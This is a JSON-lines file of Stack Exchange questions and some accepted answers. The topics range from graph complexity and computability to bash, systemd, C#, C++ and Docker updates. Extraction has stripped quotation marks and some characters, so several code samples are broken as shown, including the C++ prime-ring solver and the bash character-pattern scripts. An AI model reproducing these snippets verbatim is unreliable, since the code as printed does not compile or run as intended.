{  "id": "_cstheory.34749"  , "question": "Checking if there are two edge-disjoint paths from $s$ to $t$ in a given undirected graph $G$ is in P via a standard solution based on maxflow. I am interested in the complexity of the following edge-labeled version andwhether it is in P or not.Input: An edge-labeled graph $G$ and two vertices $s$ and $t$ satisfying the following condition:every label in $G$ occurs exactly twice.  Output: are there two label-disjoint paths in $G$ from $s$ to $t$?Two paths are label disjoint iffthe labels appearing in the respective paths are disjoint.Example: suppose $G$ is given by $(s, a, v1)$, $(v1, b, t)$, $(s, b, v2)$, $(s, c, v2)$, $(v2, a, t)$, $(v2, c, t)$. Then $s-a-v1-b-t$ and $s-c-v2-c-t$ are two label-disjoint simple paths from $s$ to $t$."  , "title": "Label-disjoint paths in directed graphs"  , "tags": "ds.algorithms;graph theory;graph algorithms;disjoint paths"  , "accepted_answer": "The problem becomes NP-complete ... this is a graphical :-) reduction from 3-SAT ... it should be self-explanatory (... if not let me know).Two notes:+X1a, -X1a, +X1b, -X1b,...,+X2a,-X2a, ...,dum1,...,dum4 are all distinct labels;in the figure  each label appears $\\leq 2$ times; but it is straightforward to make each label appears exactly 2 times adding some dum nodes+edges+labels to pair them up."  } 
{  "id": "_softwareengineering.147451"  , "question": "I keep hearing people (Crockford in particular) saying the DOM is a terrible API, but not really justifying this statement. Apart from cross-browser inconsistencies, what are some reasons why the DOM is considered to be so bad?"  , "title": "What's so bad about the DOM?"  , "tags": "javascript;api;api design;dom"  } 
{  "id": "_cs.40808"  , "question": "Directly from Wikipedia, a set of vertices $X \\subseteq V(G)$ of a graph $G$ is independent if and only if its complement $V(G) \\setminus X$ is a vertex cover.Does this imply that the complement of the independent set problem is the vertex cover problem?"  , "title": "Relationship between Independent Set and Vertex Cover"  , "tags": "graph theory;np complete"  , "accepted_answer": "Well, strictly speaking it's not the complement; co-VC is co-NP-complete whereas Independent Set is NP-complete.  If they were the same, we would know that co-NP was equal to NP, which we do not, and indeed most people believe they are not.But an easy way of seeing that they are not the same if to consider $(K_4, 2)$, the complete graph on four vertices) which is neither a yes-instance of Vertex Cover nor of Independent Set.  Similarly, the instance $(K_2,1)$ is a yes-instance for both.However, they are related in the following way.A set of vertices $C \\subseteq V(G)$ of a graph $G$ is a vertex cover if and only if $V(G) \\setminus C$ is an independent set.  This is easy to see; for every endpoint of an edge, at least one vertex must be in $C$for $C$ to be a vertex cover, hence not both endpoints of an edge are in $V(G) \\setminus C$, so $V(G) \\setminus C$ is an independent set.  This holds both directions.So $(G,k)$ is a yes instance for Vertex Cover (a minimization problem) if and only if $(G,n-k)$ is a yes instance for Independent Set (a maximization problem)."  } 
{  "id": "_unix.4615"  , "question": "Is it possible to set regex patterns for color matching in the LS_COLORS variable? So instead of just*.jpg=38;5;220Can I do \\.(jpg|gif)=38;5;220That's just an example, I'd like to get more complicated than that. Am I asking too much from this? Is there another way to do terminal color schemes that I can get fancier?I'm using zsh btw, so if I can do it there but not bash, that's fine."  , "title": "Set ls color listings based on regex instead of globbing"  , "tags": "shell;colors;ls"  } 
{  "id": "_datascience.11716"  , "question": "Suppose you have a classification task and accuracy is what you care about. Now an old system $s_1$ has an accuracy of $a(s_1) = 0.9$ and a new system $s_2$ has an accuracy of $a(s_2) = 0.99$. This is an absolute improvement of $a(s_2) - a(s_1) = 0.09$ percentage points and a relative improvement of $\\frac{a(s_2)-a(s_1)}{a(s_1)} = \\frac{0.09}{0.9} = 0.1$.However, when you now try to get a system of $a(s_3) = 0.999$ this seems to be much more difficult, although it is only an absolute improvement of $0.009$ and a relative improvement of $0.00\\overline{90}$. So neither the absolute nor the relative difference in accuracy seems to capture this well.Is there a common other way to quantify how much better the system is?"  , "title": "What is a reasonable way to compare the improvement in accuracy?"  , "tags": "accuracy"  } 
{  "id": "_computerscience.2208"  , "question": "I have an .STL file (ascii and binary format) that contains several different CAD models. How can I read the file and create separate .stl files for each of the single different models. Even some hints/reference would be helpful."  , "title": "Model Separation - Several models reside in a single .stl file"  , "tags": "computational geometry"  } 
{  "id": "_softwareengineering.171591"  , "question": "First off, sorry if this is answered somewhere else.  I did a brief search, but wasn't sure how to ask in search terms.I'm looking at some code and came across lot's of statements like this:if ( ($a != empty_or_null_or_notDefined && $a == 5 )Is this the same as just saying:if ( $a == 5 )?(language is PHP.)"  , "title": "Is saying if ( $a != null && $a == 5) the same as if ($a == 5)"  , "tags": "php;programming logic;logic programming"  , "accepted_answer": "At a purely logical level, presuming & is the local and operator, then $a being 5 precludes it from being null.That said, in some languages, and short circuits (that is, if one operand fails, it does not check the others, as the whole clause is known to fail when one does). In this case, this could be a move for efficiency, although it's highly unlikely equality is an expensive enough operation to make this worthwhile (especially as PHP doesn't offer operator overloading).As it's PHP, a single ampersand is a bitwise and operation, not a logical one, as such, it will not be lazy. Your topic has one ampersand, while the question itself has two, I think the latter is more likely to be the real option (as what is happening is a logical check), but you should clarify."  } 
{  "id": "_softwareengineering.221592"  , "question": "I have a function that linearly remaps a value from a given interval to an other interval?The function remaps a value from a given interval [oldMin, oldMax] to another interval [newMin, newMax] using this formula:newVal = newMin + (newMax - newMin) * (oldVal - oldMin) / (oldMax - oldMin)If it helps identify what type of transform it is, the above formula is just a reformulation of the following equation.  All I did was re-arrange the terms to express newVal on the left hand side of the equation so it is a function of all the other parameters:Is there a standard name for the remapping transformation?"  , "title": "What kind of transform is this?"  , "tags": "algorithms;naming"  , "accepted_answer": "This is known as Linear Interpolation.Very common and powerful, in game development it's shorthand is LerpIt is used to map one value (in a range) to another value (in a range).  For example one might map health to color (for tinting the health bar) or time to rotation (for animation)."  } 
{  "id": "_codereview.121018"  , "question": "Hope, it's my last question about current project. Yeah, it's still about respecting SOLID-principles.And it's still about calculator, so i've got realization of ITerm interface:public interface ITerm : IStackManipulator{    Object Value { get; }    /// <summary>    /// Term type. 0 for operands, 1 for operators, 2 for brackets    /// </summary>    int ValueType { get; }}So, my interviewer requires that clients of this interface (classes which uses ITerm objects) should always know, what current term is: operand, operator or smth else (e.g. brackets).The easiest (and currently implemented way) is to create this int ValueType { get; }property and to set it directly in class constructor. Example of my code is here:public class Addition : IOperator //IOperator implements ITerm{    public int Priority { get; }    public object Value { get; }    public int ValueType { get; } = 1;//etcAnd it's violates Single-Responsibility principle :CAs i know from reading titles about SRP-Validation the easiest way to refactor this, is to create something like ValueTypeGeneratorclass and call for something like ValueTypeGenerator.Generate() in constructor (i know about DI, but i want to simplify code there) but it looks pretty ...weird  and i really don't like to use this way in my case.So, i'm asking for an another advice, may be there is some other ways to improve that?"  , "title": "Generating property for a class instance"  , "tags": "c#;.net"  } 
{  "id": "_webmaster.27083"  , "question": "I have a few domains hosted at GoDaddy, and it's posting my address, phone number, and email address on my whois results.It looks like they charge an exorbitant $10/year for private registration to hide this.  Is that correct?  Every other company I've used does this for free.This means that my domains at GoDaddy will effectively cost me twice as much per year.  Is there any way around this?  e.g. I believe I can go into my GoDaddy and just change the details, but someone told me that doing so would hamper my ability to defend my ownership of the domain if it was contested.  Any truth to that?"  , "title": "Hiding whois information on GoDaddy registered domains"  , "tags": "domain registration;whois"  , "accepted_answer": "There is no way around this. If you want to use godaddy as your registrar that's the price you have to pay for private registration. If you can get a domain name with private registration cheaper elsewhere, and cost is an issue to you then register your domain at the cheaper registrar. From this question asked previously about entering fake information when registering your domain:ICANN (not the domain registrar) requires that all information in your  registration be valid.  If any dispute arises (see the ICANN Uniform Domain Name Dispute  Resolution Policy rules here) you will be contacted via the means  specified in your domain registration.  Notice that section 14 of  the rules is a section that defines what happens as part of a  'default' (in other words, they can't contact you):  They'll  proceed with a judgement, and you won't get a say in the proceedings.ICANN has the power to take a domain from you and give it to somebody  else.  So yes, it's important that you include valid information in your  registration information.For a comparison of a what a private domain registration looks  like (compared to a regular domain registration) see this:  http://www.domainsbyproxy.com/popup/whoisexample.aspx"  } 
{  "id": "_unix.193762"  , "question": "This one is maybe a bit theoretical, but... How the heck can X11 touch the video hardware? As I understand it, X11 is an unprivileged user-mode program. But only kernel-mode software can access the hardware. So... how?(It's a simple enough question, but I haven't been able to find any documentation that explains this simple point. There's a lot of documentation about how to set up X11, or how the X11 client/server arrangement works, but not much about how it drives the hardware...)Basically I'm interested in knowing how much of the work is X11, and how much of it is the kernel, and where the two meet."  , "title": "Why can X11 access the video card?"  , "tags": "linux;x11;devices;architecture"  } 
{  "id": "_unix.277106"  , "question": "I have access to an IBM IDataplex Cluster with CentOS v.6.2. If I want to run the following R script on R:library(data.table) library(mgcv) library(reshape2) library(dplyr) library(tidyr) library(lubridate) library(DataCombine)temp_hist <- as.data.table(temp_hist)humid_hist <- as.data.table(humid_hist)# Mergemykey<- c(FIPS, year,month, week)setkeyv(temp_hist, mykey)setkeyv(humid_hist, mykey)hist<- merge(temp_hist, humid_hist, by=mykey)# Minhist_min <- histhist_min$FIPS <- hist_min$year <- hist_min$month <- hist_min$tmax <- hist_min$tmean <- hist_min$hmax <- hist_min$hmean <- NULL# Adding Factorshist_min$citycode <- rep(101,nrow(hist_min)) hist_min$year <- rep(2010,nrow(hist_min))hist_min$week <- rep(1,nrow(hist_min)) hist_min$lnincome <- rep(10.262,nrow(hist_min))# Predictionspred_hist_min <- predict.gam(gam_mean_count_wk, hist_min)pred_hist_min <- as.data.table(pred_hist_min)pred_hist_min <- cbind(hist, pred_hist_min)pred_hist_min$tmax <- pred_hist_min$tmean <- pred_hist_min$tmin <- pred_hist_min$hmax <- pred_hist_min$hmean <- pred_hist_min$hmin <- NULL# Aggregate by FIPSmin_hist <- pred_hist_min %>%  group_by(FIPS) %>%  summarise(pred_hist = mean(pred_hist_min))How do I utilise the performance of the cluster (specifying cores) using qsub/bsub to run this script?"  , "title": "Running R scripts on a Linux cluster"  , "tags": "linux;cluster;r"  } 
{  "id": "_cs.70626"  , "question": "Question: Let $A$ and $B$ be finite alphabets and let $\\#$ be a symbol outside both $A$ and $B$. Let $f$ be a total function from $A^{*}$ to $B^{*}$. We say $f$ is computable if there exists a Turing machine $M$ which given an input $x \\in A^{*}$, always halts with $f(x)$ on its tape. Let $L_{f}$ denote the language $\\Bigl \\{x\\# f(x) \\mid x\\in A^{*} \\Bigr \\}$. Which of the following statements is true:(A) $f$ is computable if and only if $L_{f}$ is recursive.(B) $f$ is computable if and only if $L_{f}$ is recursively enumerable.(C) If $f$ is computable then $L_{f}$ is recursive, but not conversely.(D) If $f$ is computable then $L_f$ is recursively enumerable, but not conversely.My Attempt:if $f$ is computable then given $x$ on tape of TM, it will always halt in $f(x)$ on Tape.$L_f$ denote the language $\\Bigl \\{x\\# f(x) \\mid x\\in A^{*} \\Bigr \\}$, which means $L_f$ strings of type which has image and pre image to left and right of $\\#$.Now consider a function $f(x)$ is computable and its corresponding language $L_f$, will $L_f$  be recursive ? (given that $f(x)$ is computable )Yes, $L_f$ wil be recursive if $f(x)$ is computable. Because if $x\\# f(x)$ is given then i will first convert $x$ in $f(x)$ (i can do it because $f(x)$ is computable ) this gives me $f(x)\\# f(x)$ on table and i just left to match left strings to the right string of $\\#$ .Now consider a function $L_f$  is recursive, will $f(x)$ be computable ?(i need exlanation of this part)"  , "title": "recursive language and computable function"  , "tags": "computability;turing machines;computation models"  } 
{  "id": "_codereview.25661"  , "question": "It took me a lot of poking around and unit testing to get the code to look like it is right now. So I have a XML file which in part looks like this<FunctionKeys>    <Name>F13</Name>    <Name>F14</Name>    <Name>F15</Name>    <Name>F16</Name></FunctionKeys>and So I want to take that data and put it back into my class.This is in part what I have    public override void Load(string elementText)    {        var ele = XElement.Parse(elementText);        if (ele.Element(FunctionKeys).HasElements)        {            var funcs = ele.Element(FunctionKeys)                .Descendants(Name)                .Select(x=>x.Value)                .ToList();            foreach (string s in funcs)            {                dliUnit.FunctionKeyList.Add(                    (System.Windows.Forms.Keys)System.Enum.Parse(typeof(System.Windows.Forms.Keys),                    s));            }        }    }Class to save topublic class DLIUnit{    public List<Keys> FunctionKeyList    {        get;set;    }    //Other Members}Somethign about the way that I parse the string back to the Enum (well the entire process really) doesn't sit well with me. I'm very bad at LINQ but have been trying hard to learn it and use it more and more when I play with XML. Is there a better/cleaner way to parse the FunctionKeys?EDITI forgot to mention that I can change any portion of the code or XML file. Right now this is a new idea and can be changed to make it better."  , "title": "XML to Windows.Forms.Keys List"  , "tags": "c#;array;linq;parsing;xml"  , "accepted_answer": "Sticking with the approach you used how about this as an alternative.public override void Load(string elementText)    {        var ele = XElement.Parse(elementText);        var xElement = ele.Element(FunctionKeys);        if (xElement != null && xElement.HasElements)        {            _dliUnit.FunctionKeyList.AddRange(xElement                               .Descendants(Name)                               .Select(x => EnumHelper.GetEnum<Keys>(x.Value))                );        }    }I created a little Enum Extensions class just because I like typing GetEnum:public static class EnumHelper{    public static T GetEnum<T>(string name)    {        if (IsValidEnumFor<T>(name))            return (T)Enum.Parse(typeof(T), name);        else            throw new ArgumentException(typeof(T) + does not contain a value member =  + name);    }    public static T GetEnum<T>(int number)    {        if (Enum.IsDefined(typeof(T), number))        {            return (T)Enum.ToObject(typeof(T), number);        }        else        {            throw new ArgumentException(typeof(T) + does not contain a value member =  + number.ToString());        }    }    public static bool IsValidEnumFor<T>(string name)    {        return Enum.IsDefined(typeof(T), name);    }}Alternative - XmlSerializerOne alternative I have used in the past to parse Xml into objects is the .NET XmlSerializer.  In your case you might do something like:StringReader sr = new StringReader(xml);// Create an XmlSerializer object to perform the deserializationXmlSerializer xs = new XmlSerializer(typeof(DLIUnit));return (DLIUnit)xs.Deserialize(sr);This may not work for you but I would recommend having a look into this class as it is fairly easy to use once you get going.  Once I got my head around the basics it helped immensely."  } 
{  "id": "_softwareengineering.122802"  , "question": "I am part of a software deveopment team. Originally there were just 2 of us, and two applications. To ease our job we create a set of libraries, handling stuff like GUI, database access, calculation, business rules etc, so that we can reuse them in our applications without implementing them twice. Now the team grew, 6 people and ~5 applications (and growing). The applications use the same library, which are great because we don't have to develop and maintain the same thing more than once. I and the other initial guy developed and are mostly responsible for the library, but other people have access to the code and occasionally update it to fix bugs and add improvements.But soon we notice that the more we grow and the more people can modify the code, there is a risk that improvements/bug fixes that someone does can unintentionally break someone else's application which depends on the old behavior. On the other hand, assigning one guy to maintain the libraries and make sure modifications won't break anything is not practical because there are many applications, and possibly many improvement requests to be done, and he can't be sure of everything either.How do teams normally manage situation like this? Perhaps by implementing rules on allowed modification? Defining behaviours that shouldn't be changed? There are a lot of libraries in the internet used by a lot of people, for example open-source/free to use libraries like Apache, Castle, etc. How do they make sure that changes won't break existing client codes?"  , "title": "How do you maintain a common library used by different clients?"  , "tags": "libraries;team"  , "accepted_answer": "You create a public API and version it. The consumers ( the other projects ) get to follow the API and you get to unit test it thoroughly. Also it is a good practice to do code reviews. They should be done by you and the other core developer whenever something is about to change in your common library code. Before any changes are to be included either you or the other core developer must sign off the code. Then and only then should the change be merged into the trunk. Be careful of changes that break unit tests on the public side of the api, in that case you should change the api's version. A good idea is to follow semantic versioning like it is suggested in the comments.Be strict about this."  } 
{  "id": "_unix.329769"  , "question": "I'm running Ubuntu 16.04 with VMWare Fusion, I've enabled retina support and set a screen scale in system settings.It works great.What is the equivalent configuration for xfce4?"  , "title": "Scale menu in xfce4?"  , "tags": "gnome;xfce;resolution;dpi"  } 
{  "id": "_cs.10848"  , "question": "I want to know if the following problem is decidable:Instance: An NFA A with n statesQuestion: Does there exist some prime number p such that A accepts some string of length p.My belief is that this problem is undecidable, but I can't prove it. The decider can easily have an algorithm to figure out if a particular number is prime, but I don't see how it would be able to analyze the NFA in enough detail to know exactly what lengths it can produce. It could start testing strings with the NFA, but for an infinite language, it may never halt (and thus not be a decider).The NFA can easily be changed to a DFA or regular expression if the solution needs it, of course.This question is something I've been pondering as a self-made prep question for a final I have coming up in 2 weeks."  , "title": "Can a Turing Machine decide if an NFA accepts a string of prime length?"  , "tags": "computability;finite automata"  , "accepted_answer": "The lengths of the strings accepted by a DFA form a semilinear set (like in Parikh's theorem for context free languages), the description of those isn't too hard to come by (essentially splice up all possible cycles of the automaton), and by Dirichlet's theorem any arithmetic progression of the form $a + b k$ with $\\gcd(a, b) = 1$ contains an infinitude of primes.Pulling the above together gives an algorithm to check if your regular (or even context free language) contains strings of prime length. Definitely not a simple question, IMVHO..."  } 
{  "id": "_codereview.150950"  , "question": "The challengeA ring is composed of n (even number) circles as shown in diagram. Put natural numbers 1,2,...,n into each circle separately, and the sum of numbers in two adjacent circles should be a prime.Note: the number of first circle should always be 1.Input\\$n\\quad (0 \\lt n \\le 16)\\$OutputThe output format is shown as sample below. Each row represents a series of circle numbers in the ring beginning from 1 clockwisely and anticlockwisely. The order of numbers must satisfy the above requirements. You are to write a program that completes above process.Sample Input68Sample OutputCase 1:1  4  3  2  5  6  1  6  5  2  3  4  Case 2:1  2  3  8  5  6  7  4  1  2  5  8  3  4  7  6  1  4  7  6  5  8  3  2  1  6  7  4  3  8  5  2  My solution#include <iostream>#include <algorithm>const int MAX_P = 50;bool primes[MAX_P];void gen_primes(){  std::fill(primes, primes + MAX_P, true);  primes[0] = primes[1] = false;  // discard 2's multiples  for ( int i = 4; i < MAX_P; i += 2 )    {      primes[i] = false;    }  // discard other prime numbers(3, 5, ..)'s multiples  for ( int p = 3; p < MAX_P; p += 2 )    {      if ( !primes[p] )        continue;      for ( int i = p * p; i < MAX_P; i += 2 * p )        {          primes[i] = false;        }    }}const int MAX = 17;int prime_ring_idx, n;int prime_ring[MAX];bool number_taken[MAX];void print_prime_ring(){  std::cout << 1;  for ( int i = 2; i <= n; ++i )    {      std::cout <<   << prime_ring[i];    }  std::cout << std::endl;}void gen_prime_ring(){  // all n numbers filled, print the solution  if ( prime_ring_idx >= n )    {      print_prime_ring();      return;    }  for ( int i = 2; i <= n; ++i )    {      if ( !number_taken[i] &&           primes[i + prime_ring[prime_ring_idx]] )        {          // if it is nth number check if it can make a prime          // with the first number, so as to complete the circle          if ( prime_ring_idx == n - 1 &&               !primes[i + prime_ring[1]] )            {              continue;            }          number_taken[i] = true;          prime_ring[++prime_ring_idx] = i;          gen_prime_ring();          number_taken[i] = false;          prime_ring[prime_ring_idx--] = 0;        }    }}int main(){  int c = 1;  gen_primes();  prime_ring[1] = 1;  // initially no numbers are taken  for ( int i = 0; i < MAX; ++i )    {      number_taken[i] = false;    }  // 1 will always be the first number for the circle so take it  number_taken[1] = true;  while ( std::cin >> n )    {      if ( c != 1 )        {          std::cout << std::endl;        }        std::cout << Case  << c++ << : << std::endl;      prime_ring_idx = 1;      gen_prime_ring();    }  return 0;}Share your ideas to improve my code on:EfficiencyCode styleDesign patternsReadability"  , "title": "UVa 524 - Prime Ring"  , "tags": "c++;programming challenge;primes;c++03"  } 
{  "id": "_unix.286887"  , "question": "I am using i3-wm with Archlinux, and I nowadays are wandering that: is it possible to clone a specific work space to another output(monitor)?It is different from --same-as as well as --left-of --right-of --above --below, which means that the second monitor(DP2) can only show one of my ten work spaces, my main monitor(eDP1) able to work on that work space at the mean time.The --same-as option make the DP2 follow all my focus on any work space, and the other four option make eDP1 cannot show the specific work space!So, is there any median way which make DP2 focus on one work space, without the prevention of eDP1 focusing on it?"  , "title": "How can I clone a specific work space to other outputs?"  , "tags": "linux;xorg;window manager;xrandr;monitors"  } 
{  "id": "_unix.165721"  , "question": "I am using Fedora 20 with the Mate desktop. I sometimes give talks, using LibreOffice Impress for a slide show, with a laser to point out details on the screen. I will be giving a talk where the slides are displayed on a TV screen, which is non-reflective so the little red spot does not show. The mouse pointer is an obvious substitute, but the arrow icon does not show up very well.  Is there a way of using a different, more visible icon, say one that I can choose from a set provided, or that I can design for myself?I see my question has been edited, but I'm not sure it was needed or that it is now an improvement on what I wrote originally. Especially the comma after more visible, that has changed the sense of it, and I particularly do not like to see the Please deleted, I like to be polite.I have followed switch87 suggestions and downloaded a new theme, which is now installed thanks to his help. I very much appreciate his patient help."  , "title": "Changing the mouse pointer in Mate"  , "tags": "x11;mate"  , "accepted_answer": "Mate uses themes and mouse pointers of gnome2 (gtk2 actualy), so a good place to start looking is gnome-look.org , here you can find many themes for the mouse pointer to install, and it works, I use mate myselve.After downloading the theme file (do not extract it!) go to the appearance screen of gnome/mate, there you have a install button, use it to install the downloaded theme. afterwards you can go to customize to change it."  } 
{  "id": "_unix.272313"  , "question": "I've read the systemd service manpage a few times, but I still cannot figure out a basic systemd pattern:I want to run a startup process once (like a docker container, or format a drive) at bootup, successfully to completion. But if I use Type=oneshot for that, then I can't use Restart=on-failure, and if it fails, then it won't retry the job. Am I missing something obvious here?I also tried setting Type=simple with Restart=on-failure, but this in many cases I need the following behavior (from the manpage) that oneshot services give:Behavior of oneshot is similar to simple; however, it is expected that the process has to exit before systemd starts follow-up units.Updates:Relevant upstream systemd bug.And we'd also want RemainAfterExit semantics"  , "title": "Systemd: How to assure a oneshot service gets retried if it fails the first time?"  , "tags": "systemd"  } 
{  "id": "_unix.106341"  , "question": "I'm using the following sequence of commands in my .bashrc file to alter the appearance of my linux terminal. It fills the screen line by line with a pattern made out of characters. There is no abstraction, the characters are from a set within the command itself:for i in $(seq 1 $(expr $(tput lines))); do echo -en '\\E[0;32m'$(tr -dc ',.o;:~' < /dev/urandom | head -c $(tput cols)); done; tput cup 1                                                                       -->the setThe main idea is to read 80 cols (bytes) from some random characters from the set, and to print that * number of lines. Now, I've run the following contributed script in order to explore adding new characters to the set. To maintain compatibility with the linux terminal I'm using, I've run this outside of X etc, with the following result: I'd like to to use the available characters in the sequence above. So I took many of them and did the following, for instance with :echo -n  | hexdump0000000 97e2 00980000003so the UTF-8 sequence is \\xE2\\x97\\x98I build all the sequences I need: \\xE2\\x95\\x99, \\xE2\\x95\\x9a to f, \\xE2\\x96\\x90 to 93So I simply add to my .bashrc file A=$(echo -e '\\xE2\\x97\\x98') and B=$(echo -e ',.o;:~') and I modify my command sequence like this (i.e. echo $A$B):for i in $(seq 1 $(expr $(tput lines))); do echo -en '\\E[0;32m'$(tr -dc $(echo $A$B) < /dev/urandom | head -c $(tput cols)); done; tput cup 1 If I echo $A or $B at the prompt, it prints the char(s). But when the sequence is called in .bashrc this mostly doesn't work at all. On an entire screen  appears 3-5 times total along with many placeholder chars meaning the output is not supported by the term. The other characters from the set are there. Of interest is that if I kept the original syntax with no $B variable and simply tried to add $A to the set i.e. tr -dc ',.o'$A';:~' I get the exact same sort of output, suggesting it's something else than syntax - because of /dev/urandom. Other variations on the syntax using quotations introduce more unrelated echo.As a side note, in xterm, the result is similar with different placeholder chars, and a few  and .Is there a way to bring the variable in the set like that or does this need to be redesigned from scratch to account for this case?"  , "title": "Using a variable inside a sequence of commands in bash to supplement an existing string - syntax error or flawed design?"  , "tags": "bash;terminal"  , "accepted_answer": "This is a non universal solution which achieves the intended result without exploring the difference between tr and the one in the heirloom toolchest or redesigning what I have for the moment. As such, it is flawed but pragmatic. As a contributor alluded in relation to tr, there is a restriction to the use of this command:Currently tr fully supports only single-byte characters. Eventually it  will support multibyte characters; when it does, the -C option will  cause it to complement the set of characters, whereas -c will cause it  to complement the set of values. This distinction will matter only  when some values are not characters, and this is possible only in  locales using multibyte encodings when the input contains encoding  errors.So actually only 8bit 1 byte chars (non Unicode) like the ones in my initial set are supported through my sequence. I also have a constraint that I'm rendering one screen worth of characters and I don't want more so the idea of adding some other randomness for the new chars was less appealing i.e. how to control total chars written. So I decided to post process the output. The scope of available characters to be used as a pattern will be smaller than the total 1 byte chars available so I can use those I never intended to use in the first place and repurpose them as variables like this:Z1=$(echo -en '\\xe2\\x97\\x98')  \\\\ Z1 to Z9 will be used toZ2=$(echo -en '\\xe2\\x95\\x9a')  \\\\ bring in our non unicodeZ3=$(echo -en '\\xe2\\x95\\x9c')  \\\\ charsZ4=$(echo -en '\\xe2\\x95\\x9d')Z5=$(echo -en '\\xe2\\x95\\x9e')Z6=$(echo -en '\\xe2\\x95\\x9f')Z7=$(echo -en '\\xe2\\x96\\x91')Z8=$(echo -en '\\xe2\\x96\\x92')Z9=$(echo -en '\\xe2\\x96\\x93')Z11=$(tr -dc '123456789a' < /dev/urandom | head -c 1)  \\\\Z11 to Z13 used toZ12=$(tr -dc '123456789a' < /dev/urandom | head -c 1)  \\\\reintroduce the charsZ13=$(tr -dc '123456789a' < /dev/urandom | head -c 1)  \\\\used as variablestput setf 6tput setaf 6echo -en $(tr -dc ',.o;:~123456789a' < /dev/urandom | head -c $(echo -en $[$(tput cols) * $(tput lines)]) | sed -e s/1/$Z1/g -e s/2/$Z2/g -e s/3/$Z3/g -e s/4/$Z4/g -e s/5/$Z5/g -e s/6/$Z6/g -e s/7/$Z7/g -e s/8/$Z8/g -e s/9/$Z9/g -e 0,/a/s//$Z11/ -e 0,/a/s//$Z12/ -e s/a/$Z13/g); tput cup 1                   ^set  ^^vars    ^                                                                              variables ouput are replaced with intended char>___________________________________________________________________________________________^...then vars themselves reintroduced here as chars, one 'a' at a time(only 3 shown here, last one is global)                                  |__________________________________________________________________________________|The updated sequence is slightly different than in the Q and is simply rendered in one clean sweep instead of line per line. It uses sed and its ability to accept many commands to apply to the stream with -e. The numbers 1 to 9 and the letter a are randomized into the full page pattern. The output pattern is then filtered with sed and 1 to 9 (if present in the random stream) are all converted into our intended non unicode chars - only a is remains. Those a are then processed and used to reintroduce the chars 1 to 9 and a itself in the pattern using variables Z11 to Z13 (random generator with head 1 byte that uses 1-9 and a as a set now that we don't need them anymore). Each instance of a could be individually randomized (see pattern sample below) or left as is (another char than a can be chosen of course, one that we might enjoy seeing in the final pattern). This proof of concept is incomplete as you would ultimately need to intercept all the a chars in this example and transform them into something really random. But it works. This is just to show these chars (and I would select in practice chars that I don't want to use in the pattern so there would be no need to reintroduce them like this in the first place) can be reintroduced. The tr obstacle has been avoided.We can see what happened to the a's - the first one was converted to 8 and the second one to 1, whereas the rest were converted to 4s (sed global). 1,4 and 8 were all chars used to bring in our special chars, and now they can be used too if need be. No doubt an elegant solution exists but this is not one of those. This is all generated in the blink of an eye.Here's a simplified version formatted like a script which uses digits 1-9 for our pattern without 'redeeming' them like explained above:#!/bin/bash## spptr_dfp.sh - Display a chosen pattern of chars using tr, while using sed post processors to deal with## multibyte chars that tr can't stomach. Rely on single chars not used for the pattern to bring in the## multibyte ones later on in the pipeline.## Z1 to Z9 will be used as primitives variables## to bring in our non unicode charsZ1=$(echo -en '\\xe2\\x97\\x98')Z2=$(echo -en '\\xe2\\x95\\x9a')Z3=$(echo -en '\\xe2\\x95\\x9c')  Z4=$(echo -en '\\xe2\\x95\\x9d')Z5=$(echo -en '\\xe2\\x95\\x9e')Z6=$(echo -en '\\xe2\\x95\\x9f')Z7=$(echo -en '\\xe2\\x96\\x91')Z8=$(echo -en '\\xe2\\x96\\x92')Z9=$(echo -en '\\xe2\\x96\\x93')## the color we wanttput setf 6tput setaf 6## the main event, generated for cols*lines## the pattern is made out of ,.o;:~## the single chars used as vars are 123456789## after tr outputs, sed converts any of the single chars to our multibyte charsecho -en $(tr -dc ',.o;:~123456789' < /dev/urandom | head -c $(echo -en $[$(tput cols) * $(tput lines)]) | sed -e s/1/$Z1/g -e s/2/$Z2/g -e s/3/$Z3/g -e s/4/$Z4/g -e s/5/$Z5/g -e s/6/$Z6/g -e s/7/$Z7/g -e s/8/$Z8/g -e s/9/$Z9/g)tput cup 1exit"  } 
{  "id": "_webmaster.47675"  , "question": "Ok, I'm a bit confused by all of this, I have 2 main questions.The company I work for has a Google Places account, now Google+ Local as I understand. Where I'm getting confused is, what is the difference between a Google+ Local page and a Google+ page?In search results, there are a few competitors showing in the rankings with map markers to the right (not in the right hand side of the page) and under the web site name - Google+ page. The company I work for does better than these in the search results, but doesn't have a map marker or a link below to a Google+ page. Can anyone give me an idea how to get ranked like these other web sites?I have only today created a Google+ account, and would like some advice before I go creating a page when there already exists a Google+ Local page. I read here that these 2 pages should be merged?"  , "title": "Google+ Local and Google+ Page"  , "tags": "google plus;google local search;google places"  } 
{  "id": "_unix.337907"  , "question": "I have a file in the following format:  s1,23,789  s2,25,689and I would like to transform it into a file in the following format: s1      23  789  s2      25  689i.e 6 white spaces between the 1st and 2nd column and only 3 white spaces between the 2nd and 3rd column? Is there a quick way of pulling this off using sed or awk? "  , "title": "How to replace commas with white spaces in a csv, but inserting a different number of space after each column?"  , "tags": "text processing;command line;awk;sed;csv"  } 
{  "id": "_unix.123482"  , "question": "Typically on a server, automatic updates of security-related patches are configured. Therefore, if I'm running MySQL 5.5 and a new security patch comes out, Ubuntu Server will apply the upgrade and restart MySQL to keep me protected in an automated way. Obviously, this can be disabled, but it's helpful for those of us who are a bit lazy ;)Does such a concept exist inside of a Docker container? If I'm running MySQL in a Docker container, do I need to constantly stop the container, open a shell in it, then update and upgrade MySQL? "  , "title": "Application updates inside of Docker containers?"  , "tags": "lxc;docker"  , "accepted_answer": "TL;DR: If you don't build it in yourself, it's not going to happen.The effective way to do this is to simply write a custom start script for your container specified by CMD in your Dockerfile. In this file, run an apt-get update && apt-get upgrade -qqy before starting whatever you're running.You then have a couple way of ensuring updates get to the container:Define a cron job in your host OS to restart the container on a schedule, thus having it update and upgrade on a schedule.Subscribe to security updates to the pieces of software, then on update of an affected package, restart the container. It's not the easiest thing to optimize and automate, but it's possible. "  } 
